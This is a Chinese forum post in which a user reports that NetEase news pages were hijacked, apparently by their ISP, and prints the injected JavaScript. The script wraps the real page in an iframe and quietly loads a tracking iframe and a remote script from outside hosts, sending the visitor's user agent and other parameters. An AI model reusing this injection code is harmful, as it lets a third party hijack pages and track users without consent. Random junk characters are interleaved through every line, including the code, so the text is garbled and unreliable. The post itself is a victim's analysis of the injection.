|
|
本帖最后由 hudba 于 2015-2-3 00:56 编辑
/ H+ r, d- g, J# o* T* u! d* [
% y4 y6 T. D5 l e上网易看新闻半天打不开,发现状态栏在现实访问一个奇怪的域名。心里一惊,难道电脑中毒了?赶紧查看源代码,发现后面加了一段js,真正的新闻内容给iframe了
, ` ^# h$ N& R
4 f$ o$ S$ I* E接下来就是去搜索这个域名,得到v2ex里面也有人遇到这个问题,原来是运营商搞的鬼{:soso_e131:}7 W6 H! q* [. ~. C) p1 ~% \
https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8 http://www.v2ex.com/t/142197
( s7 j8 R2 Z' P$ `1 B: q6 C& T
! I: c* Y4 t3 f$ E3 Y顺便查下ip138:& _) F3 X5 C- M% z0 ?& D1 j. L" T
9 q3 S+ V" P# `( W8 C: d C2 ?. u这是那段js里面的代码,好象是个半成品还没写入广告数据:
7 x' N1 R3 _( B% P- function locationSearch() {- f7 U8 H4 g; x: Q9 B
- var s = getMainJs();0 R! G% w# h! g. C& Z
- if (s == null) { U# E6 f H/ J( N
- location.reload();
% F8 u2 z, A: f- u6 U6 ^8 T }8 ` - }3 s+ Q; y* R$ ~3 O& \
- return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);" p# \0 _# W: i4 O! c8 d
- }
) e5 ^/ [! |$ e: l, y9 T, s
5 ?: H6 |2 V2 y8 h" V. d+ ?- function getParameter(name, paraStr) {
) R6 m; M* ~) u0 m* z9 F5 m - var result = "";
7 M/ B8 O. ` L, P9 w" M# a - var str = "&" + paraStr.split("?")[1];
: }1 m, i( D9 n$ x; `' A - var paraName = "&" + name + "=";8 u9 K+ s( k. s/ w
- if (str.indexOf(paraName) != -1) {
. `" ? p. {* {* [3 x- v+ | - if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {7 j: Q* s. t; L
- var TmpStr = str.substring(str.indexOf(paraName), str.length);
" g6 F8 E! n; [7 N - result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(4 `8 j* g# f8 e# g
- 1, TmpStr.length).indexOf("&")
- z4 N1 Z( b/ L- D1 N0 ? - - TmpStr.indexOf(paraName) + 1);5 [. r% n6 ]: ]9 J+ \
- } else {
6 Y! H, n Z% Q- G1 T( x0 U( `5 u - result = str.substring(str.indexOf(paraName), str.length);
9 f6 t( f x3 a G+ r# s - }
! A" I6 W, K, }& _' `8 H' t - ; W t1 t) ]5 C; B- E; p
- result = result.substring(result.indexOf("=") + 1, result.length);
2 W4 Q* q u6 _8 h1 l - } else {
* N( A/ p7 f) U* E' z3 E - result = "No such parameter";
. G5 L3 v3 g9 n, t% m - }
% z* L7 Y5 ~2 w# m$ M - return (result.replace("&", ""));
7 W, J, u/ v3 |/ j - }
( k( s% N8 \6 [3 G
8 s) F3 w/ X# I, H- function getMainJs() {
- g1 u- ?! a' t! L7 Y1 d - var scripts = document.getElementsByTagName("script");! J+ |, U% i3 h# t
- var s = null;
+ V; Q4 Y- M4 l/ x; A1 l$ H# p - for (var i = 0; i < scripts.length; i++) {% }; @9 O6 V; C( X$ e
- if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
8 a& x2 o6 u' e- F3 G9 `& M/ j; a - s = scripts[i];
. M$ z4 n7 Y" B) I; O; a - break;
! h5 ^5 m# q$ q$ h" B - }
! H& X$ v B& z0 X - }
% v8 W8 c2 i0 A& {% Y% L - return s;
1 C+ U0 c1 I( ^$ ]( B) D6 Z - }
d9 N5 ^" z" y# i& `2 l6 T- X
' _ U' a9 U) w/ ]- function appendParam(oStr, aStr) {
1 V( }% t3 s9 v! E - if (oStr.indexOf('?') > 0) {
! i! }; R3 v. V - oStr = oStr + "&" + aStr;# Z) }* K' p3 [/ n: h
- } else {
$ h/ P" ?4 Q9 ]% P+ V, N- }" E - oStr = oStr + "?" + aStr;: e, Y. Q2 L- U; S3 ~
- }
( N: f, a, h8 T; E" r- G5 l - return oStr;
4 d y9 ]6 z( n5 }( J - }
( ~4 V! r( S8 \; x; P4 e - 6 a; W; ]/ P7 I1 z7 N) }2 K
- window.onerror = function() {
* P, o3 o! D! X7 B - };0 i N) t$ g2 O1 z4 N& n- R: ~
- : p1 D9 N! G; m0 W- C0 q/ g
- var g_titleTime = 0;
$ Y6 T: C& f9 G! S - function setTcTitle() {
+ W/ Z- H: |2 H- q - if (undefined == document) {
" ^8 [0 a* G" J* A+ g - g_titleTime++;; A5 P4 c2 e/ L% i0 V1 ?+ i
- setTimeout("setTcTitle();", 1000);
2 W. j; C2 W* [ y, k1 M; y - return;8 \- q. m, ?1 R/ H6 j' t
- }$ H5 R! g& @; T$ G3 r/ A
- 2 [/ V# }2 e3 V% E- K! {$ I. _4 {
- var doc;
* u7 J' O2 p4 o- w; W% F - try {
8 f( p: P! \! U( M& k _0 g - if (document.all) {
; K4 ^4 X8 {, D% [2 Z) {: j T - doc = document.frames["cn"].document;
z1 t0 Y9 l0 w- ?: P* f - } else {
' k$ O8 G% s2 y# Z7 g9 p - doc = document.getElementById("cn").contentDocument;; M& i3 o9 i- ?4 K E9 h
- }8 [0 d& h5 P S
- } catch (ex) {1 j5 s( u; [& j" y$ v9 O# L7 g
- }
5 L7 H6 h @+ L2 a5 ` - 9 d" m" F" k2 u% o! u) c+ o
- if (g_titleTime < 5/ _3 \. ?8 P: }2 O+ q: @
- && (undefined == doc || undefined == doc.title || "" == doc.title)) {
+ c$ u8 @" R6 [( S) F4 l2 { - g_titleTime++;
: E0 h" T7 E% A - setTimeout("setTcTitle();", 1000);
: M7 O4 k& O( G( M/ g" e+ U3 L9 d - return;. \% X- ^5 Z# J# t% s
- } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
% e2 R L5 E# `3 n& X4 a - document.title = doc.title;
# u7 i+ [5 b, O; Q- j+ F - setTcAdvVisible();
! l A0 F/ i9 R8 X9 E! F - }! _; m7 W2 \3 J: p2 S
- }7 N" i1 ?2 u8 Z" W# d
- 8 L; t& w1 @) m) M
- setTimeout("setTcTitle();", 1000);# U ~9 [6 N5 J m& z' ?/ m4 F
- ! P: q+ D/ k# S% R7 k' B8 h" C
- var g_isHaveVisible = false; ?& R& J; q' J" }2 N: G- K
- function setTcAdvVisible() {
+ o1 Y. t5 C% k0 Q% L - if (undefined != document && undefined != document.getElementById("addiv")
o6 {! [0 ?8 C9 V8 \. Y - && !g_isHaveVisible) {
5 ]& |- a+ s3 A7 d1 J$ B# e7 A - document.getElementById("addiv").style.visibility = 'visible';
, P( @4 b3 P) q3 i5 o4 g - document.getElementById("addiv").style.display = 'block';# r: Z% h1 j1 Y E8 v6 J# o# w
- g_isHaveVisible = true;" p, H3 z( j, V. Y3 j6 p7 u
- }
! z5 i) d i+ ]" M - }# P6 Q% B0 L0 K' n O
- 9 x4 W& z, N2 h( o- ?
- function UrlAnalyzer() {
) q/ o# P1 ]4 A7 J& O$ q - this.divda = "";0 I/ ], |3 W8 {3 c
- this.tctype = "";+ w8 x$ S6 F7 A) S# D, T& t
- this.radius = "";
2 n" {5 m1 ]: b3 t' ~2 u& S h5 g2 ~ - this.rlu = "";
% c9 y, W, E0 i; z: Y% d - }
/ M' X$ v5 m) \2 m9 D/ M7 c - . r9 I1 s% t& Y
- UrlAnalyzer.prototype.initParameters = function() {
+ v9 O: U% n1 W - var paraStr = locationSearch();
8 y* G# z R1 ]( `( V } - this.rlu = getParameter("lruedct", paraStr);
' t0 }) z5 T. z8 ~" @) c0 T2 A - this.divda = getParameter("divda", paraStr);
5 T( R, d' [( V - this.radius = getParameter("radius", paraStr);
6 U4 W' b1 ~$ i - this.tctype = getParameter("tctype", paraStr);. d% D+ h; o* g! Y! }& T! C- o
- this.address = getParameter("address", paraStr);
" x# L+ ~% I! ^5 ~, w/ Y4 w - this.usagent = getParameter("usagent", paraStr);+ P( f' \% O$ h G0 C4 U8 q& X
- }" Z# w( c, B" N4 Z
; `& C( u' t9 x1 C% t! v8 p- UrlAnalyzer.prototype.getHtmlDoc = function() {. b( b3 T" i/ [* q3 i# D# R
- var doc;
) R' \4 W9 j) h - try {
* i+ i2 P& d9 x Q4 x$ ~/ V - if (document.all) {
" C, A, a+ Q7 x2 @ p0 b) J - doc = document.frames["cn"].document;1 m: e* w! q" w( `
- 5 S( q) _) ]. U0 w7 @4 F2 U
- } else {
6 e4 r% E* c6 ]" m t F. e6 N, D* Y - doc = document.getElementById("cn").contentDocument;
+ f' P A! r. P7 x3 b" [5 v - // doc = document.getElementById("cn").contentWindow.document;* ]9 c( R, ~2 F V
- }% F* f7 t; Y7 d2 z
- } catch (ex) {
" N; Q2 j/ O ~/ @# ~9 ^( I2 E5 p - }
! g! {- E# F4 [' V7 a0 { - return doc;
' E. v/ D& U4 O7 {5 X8 b3 a$ T - }
+ t; O- x; r% {6 T4 ], G - ( z" p1 S* I2 j9 t
- UrlAnalyzer.prototype.setDomain = function() {6 W' W+ b. b' p. x7 p) J1 W. ~7 p
- if (undefined != document.title && "" == document.title)
' \- G9 n1 t) V0 y - {, f, j+ Y# V& X: V$ v, S
- var index = document.domain.indexOf(".");8 s4 X6 B5 E. C {
- if (undefined != index && -1 != index) {5 G# V: v% z* V3 v
- document.domain = document.domain.substring(index + 1,
, K! w% W+ L+ o& E) a - document.domain.length);
, g3 \, A: [5 ^; v) G' ] - }
$ u8 F4 \) |* U/ p; Z! v2 L: R H4 | - ! d% M3 w: y. u0 M# Y ~& S5 \
- var doc = this.getHtmlDoc();
* `0 |) N4 t- g; Z% p - if (undefined != doc && undefined != doc.title && "" != doc.title) {
5 {$ w* B8 @; G9 V( G - document.title = doc.title;7 k U2 `( s& o
- setTcAdvVisible();
3 w) @* t/ P4 _1 P g - }+ u. n' S- g9 x8 H; [ {4 x
- }
+ F3 J9 A. T$ d; d6 y - }
" X- i; Q( k& B: v' X/ x2 ~
9 {, @! `0 s/ M' L- UrlAnalyzer.prototype.iframeCallback = function() {0 C8 u9 @6 u; N' M! s1 K4 i
- var doc = this.getHtmlDoc();/ c) r: R2 V8 } ?4 R5 q% O
- if (undefined == doc || undefined == doc.title || "" == doc.title) {: i" Y2 H3 w3 [2 s' F0 I, X
- if (undefined != document.domain) {. }/ G' A- `. E0 F
- " a; f' D- v8 `$ ?0 u$ J
- var self = this;* o$ d7 e# w/ [: b! m; O
- setTimeout(function(){self.setDomain.call(self, null)}, 1000);
. b# s! k9 J; [5 u% ?/ n. Y - // var index = document.domain.indexOf(".");
; y/ k5 Q- r/ w- u. Z - // if (undefined != index && -1 != index) {
l1 `4 I" K0 K9 k$ [# u- B - // document.domain = document.domain.substring(index + 1,4 k, b. |6 i4 Z* a% ~8 {. Z2 o
- // document.domain.length);! h; M# x* u! H5 u2 B' m7 D6 b4 t- y
- // }
' t1 `+ I/ O8 J# _ - //7 G: f* z3 {8 L1 J! P0 a7 @0 s
- // var doc = this.getHtmlDoc();
d1 A( R( g! k" b9 {' Y$ G - // if (undefined != doc && undefined != doc.title && "" !=
; B( |2 S R8 e - // doc.title) {/ X1 w. h- q4 @* L5 @) I7 e& ]
- // document.title = doc.title;% J) g- @* x4 i4 F* Y; @
- // setTcAdvVisible();' J& ]9 }: K y4 \* Z- E" o) k
- // }
- T9 o7 \% T* e9 O0 v - }0 |' E I, u2 A0 ^
- } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
* K( O9 D6 D- J, ?. i8 O9 R4 h - document.title = doc.title;! S/ H. ^. Z" g, x7 `. u
- setTcAdvVisible();1 {9 ^2 O+ S9 c# U$ ~' R+ p5 s) W
- }+ p" L" I+ z8 c8 I) _4 j% f
- }5 {0 |& a- V9 F
4 l3 r1 \: |7 Y: L9 u- UrlAnalyzer.prototype.executeHtmlContext = function() { a& U) U: P8 D5 {) U4 C& _
- var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda. O$ ~+ T* a1 w$ w' O& F
- + "&rd=" + this.radius + "&tctype=" + this.divda + "&address=" + this.address + "&usagent=" + this.usagent;3 @( H; _( h5 e; _
3 S/ B/ y# f) b2 }- var htmlStr = "<iframe src="" + staUrl% W( E- G5 ^& T7 z/ L8 b
- + "" style="display:none"></iframe>";% P7 V p! W A- R5 |4 f
' o( U3 e$ r5 _: ^. a, t, u* |- var advUrl = htmlStr# X& B5 L4 y7 l7 o. ?) g3 O; n
- + "<script src="http://c2.sxite.com:8060/center?advId="2 S3 M6 n& a% C$ o8 v, ^
- + this.divda + "&radius=" + this.radius + "&area=1" + ""><\/script>";. z2 f- s$ ] I" }) Z/ j; S
- document.write(advUrl);% O( X" q$ a- r$ |1 t* v# E
8 J" _, S( e4 E" ?- var self = this;
/ ?! ~! B' z; U& K! c - var iframe = document.getElementById("cn");
% b) [- V; _7 v( q: g' x, [$ O - if (iframe.attachEvent) {
, S* e9 d8 ~# l- x: ~9 b - iframe.attachEvent("onload", function() {* t( ^! ^2 Y1 u* w3 p3 o/ N- P/ C' C
- self.iframeCallback.call(self, null);9 _- _% u# l6 w: [0 j1 `9 c
- });% |* G m# K2 J! _( c7 U
- } else {
6 w) v! F6 N) }6 A& a C* ? - iframe.onload = function() {
# P$ p: |8 V0 X+ q5 M - self.iframeCallback.call(self, null);8 m, v: E, H9 Y' I& w, C3 K- T$ l
- }# e6 r+ B; ]/ n* Y/ {
- }
" b) S" k/ H, ~ - }: r1 B5 S6 a9 j3 |) \ R
& ~6 U; \; t8 x G) [- UrlAnalyzer.prototype.executeMain = function() {
6 E3 D! W# S+ L4 _' r, w: } - var mainFrame = document.getElementById("cn");2 G, a% K& k( n% j4 H* A
- mainFrame.contentWindow.location.href = mainFrame.src;4 h1 S5 x h. l; s" q
- this.initParameters();" w. \/ _5 U% g1 W# o& F |
- this.executeHtmlContext();
& C; y2 \1 T% F$ y, m - }* F" H! i0 z: S( a2 E2 U( u
3 o/ P) o' |- J6 m9 B8 o' \- var g_analyzer = new UrlAnalyzer();
; K6 r1 D! X5 Z6 g8 n! P- S - g_analyzer.executeMain();
t6 B0 f! Q, @) ^0 w; O
复制代码
* S- w) e6 q3 x6 C' \8 G4 L# M/ @1 j ~2 b
3 s; d7 O2 Y2 d0 E7 K7 H
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有账号?立即注册
×
|